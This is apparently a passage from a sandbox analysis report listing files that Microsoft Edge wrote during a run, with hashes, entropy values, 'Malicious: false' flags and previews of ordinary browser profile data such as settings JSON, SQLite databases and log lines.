C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b0557d0f-9f46-470c-816d-97299e6227c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561555661473279
Encrypted:	false
SSDEEP:	768:OppGJj7pLGLPoWWPQaf3d8F1+UoAYDCx9Tuqh0VfUC9xbog/OVomutiGMrwQbss/:OppGJVcPoWWPQaf3du1jaJmuMGlQbs7E
MD5:	38C41C4AEA1ED10A0EBF68CFAAC8934F
SHA1:	36CC539C5681A5A50B02FD14D8B35185A16C4564
SHA-256:	51A13CF8717CBA7F728CFB1B4344806065C4E5D29D48F8ADA987B4FF10942163
SHA-512:	AA3C3B3496CE9A63F22872DE0865278428074D11C8AF3EB22D0BEBA92B352A546C44F539AAD93C91EFF312919FC02B069A9C0ABD69E64C17CD5A87BAAC86546F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376765326351470","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376765326351470","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b7902186-5005-4d48-89b9-932c9635c706.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56544687561041
Encrypted:	false
SSDEEP:	768:OMLGVWWPQafid8F1+UoAYDCx9Tuqh0VfUC9xbog/OVMtixMrwftp7otuVn:OMLGVWWPQafidu1jaNMxlf4tC
MD5:	BE8711820B718B72484E21783413BF76
SHA1:	E3291A3B576F8E61E4A48F8BF8FDA18F01CDF0E3
SHA-256:	A51E650EBEC8E07CEE5A304F29F9356E0509A3347090C6BC60C4B11185D2B657
SHA-512:	FF33ED3D2B730633F85039E585560F9BC32B4189F2F3CA6772FC2291E4AB66518A0B424A87FA1FD8368F26377AFEA049AF36DB31FD078AACCA52E4220B4C41AA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376765326351470","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376765326351470","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d1caae6d-1569-4451-b24a-3db9f859e030.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1024242294901424
Encrypted:	false
SSDEEP:	12:+knmXKHStknmXKHzspEjVl/PnnnnnnnnnnnvoQ/Eou:+knKKHStknKKHMoPnnnnnnnnnnnv1j
MD5:	EE9DD5047560E8385DBB75203DDF01BD
SHA1:	C7CC768C1FE90D81B2AE35D521A069614E869AA0
SHA-256:	6EBCCEDAD1B3189C6DC280EBB3F8FB8CD249EB84C2D09E371663DC1DF9296CEB
SHA-512:	C3392F7630F71A4B0120BA4E354879D3BFB75ED9EE913B7FEE33604317CB5F719EBCC986A541E5B07CA0BBD049D5D1D0BA483E5CAB480F25941FA3BC31891F11
Malicious:	false
Preview:	..-.............M.......X..'M.d...^..6Ws\........-.............M.......X..'M.d...^..6Ws\..............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8879605029076348
Encrypted:	false
SSDEEP:	384:mM3BwXfe8l5rQX3wjze6hzIzszm8luzG231Pzgov83yiwyQdyRyfYyWxyoJ:AlvMxj5KrDp
MD5:	6FB12A8B6A111A4784C48721B2231BE1
SHA1:	3E800E0A4C7C39D10F2316288CFC90A05DD35170
SHA-256:	7B79A40DF8267007107ADE8E1B7D504EE5B7273F6BE1A2352415892F2C6F1098
SHA-512:	C3D8A27A99F30FE7696158BA7B506E850C403CD10A1628E7615C2A78B071C0B1E94D457DA0703148801D079CEAC6AC76C73789404F8F32BF750B4FEB00734D42
Malicious:	false
Preview:	7....-............^..6W3...B!N...........^..6W..&#_.V.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	580
Entropy (8bit):	3.7456540923650903
Encrypted:	false
SSDEEP:	12:dlc8CdOuuuuuuuuuuuuuuuuxll8l2/es8D:ncSlHex
MD5:	954FF41E0C6419DD5CAD6E85C099812D
SHA1:	0964844379C051279E545A9B28C8CA9BC0CCA25C
SHA-256:	A30B0B4602F83F72754392FD66BDE11BF3BA25C66AB05B647254356F77710BEB
SHA-512:	05CDC7D0A6F50E18692FA3F9F4FBA69647944EDBA417588BCFEA56188A0218074D3577262EC9B27C5F2D8785516FCF8B87B53BBFD70BFCEE07F778F958A72E25
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1x...0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............S.CH;...............#38_h.......6.Z..W.F.....Q=......Q=...........V.e................DS.j0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.2464615008523525
Encrypted:	false
SSDEEP:	6:HxQHVq2PFi23oH+TcwtfrK+IFUt8YxQHgZmw+YxQHIkwOFi23oH+TcwtfrUeLJ:R4VvdZYeb23FUt8C4g/+C4I5wZYeb3J
MD5:	113814E13029807822BEEE06FCD7D0F8
SHA1:	ED51B752149CAED0AE4D43E08A66C0E9E71E7772
SHA-256:	4F325E5EC63303F202E58AEF9CDD77030240E83F91F7431A75387F9B3751E0E8
SHA-512:	F89A1A5FEB59C114DA37D4E6FFDFD4987324673CC2B985DD7F452602CA4DBB64F778C77139DC0633A59E3D439C93E9D59C8251CB63AF3AB88B76CF53ED8B4938
Malicious:	false
Preview:	2024/11/22-11:08:46.945 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-11:08:46.945 1bd0 Recovering log #3.2024/11/22-11:08:46.945 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.2464615008523525
Encrypted:	false
SSDEEP:	6:HxQHVq2PFi23oH+TcwtfrK+IFUt8YxQHgZmw+YxQHIkwOFi23oH+TcwtfrUeLJ:R4VvdZYeb23FUt8C4g/+C4I5wZYeb3J
MD5:	113814E13029807822BEEE06FCD7D0F8
SHA1:	ED51B752149CAED0AE4D43E08A66C0E9E71E7772
SHA-256:	4F325E5EC63303F202E58AEF9CDD77030240E83F91F7431A75387F9B3751E0E8
SHA-512:	F89A1A5FEB59C114DA37D4E6FFDFD4987324673CC2B985DD7F452602CA4DBB64F778C77139DC0633A59E3D439C93E9D59C8251CB63AF3AB88B76CF53ED8B4938
Malicious:	false
Preview:	2024/11/22-11:08:46.945 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-11:08:46.945 1bd0 Recovering log #3.2024/11/22-11:08:46.945 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.225788100493526
Encrypted:	false
SSDEEP:	6:H8Vq2PFi23oH+TcwtfrzAdIFUt8YigZmw+YiIkwOFi23oH+TcwtfrzILJ:cVvdZYeb9FUt8Hg/+HI5wZYeb2J
MD5:	4A402193395B6E01259761DC42E62F49
SHA1:	B12C98E63452CD9DFE4D29753483E1BFF4A2FEA2
SHA-256:	17C0547BB703F2D6A0411C125BE3D4B235B9B3571AF83960D1C52A8C926FDEFC
SHA-512:	818D63E8A366C2FFCD74866D8231A055636A20F5B990EA25AE51629C7ADC8CCF6B309FCB1CC7C48D6480E147D3C8B391CF0D07C58BCAC9E06717C83646EC07E3
Malicious:	false
Preview:	2024/11/22-11:08:46.936 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-11:08:46.938 1bd0 Recovering log #3.2024/11/22-11:08:46.938 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.225788100493526
Encrypted:	false
SSDEEP:	6:H8Vq2PFi23oH+TcwtfrzAdIFUt8YigZmw+YiIkwOFi23oH+TcwtfrzILJ:cVvdZYeb9FUt8Hg/+HI5wZYeb2J
MD5:	4A402193395B6E01259761DC42E62F49
SHA1:	B12C98E63452CD9DFE4D29753483E1BFF4A2FEA2
SHA-256:	17C0547BB703F2D6A0411C125BE3D4B235B9B3571AF83960D1C52A8C926FDEFC
SHA-512:	818D63E8A366C2FFCD74866D8231A055636A20F5B990EA25AE51629C7ADC8CCF6B309FCB1CC7C48D6480E147D3C8B391CF0D07C58BCAC9E06717C83646EC07E3
Malicious:	false
Preview:	2024/11/22-11:08:46.936 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-11:08:46.938 1bd0 Recovering log #3.2024/11/22-11:08:46.938 1bd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28f26.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28f36.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF290eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2b7fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4f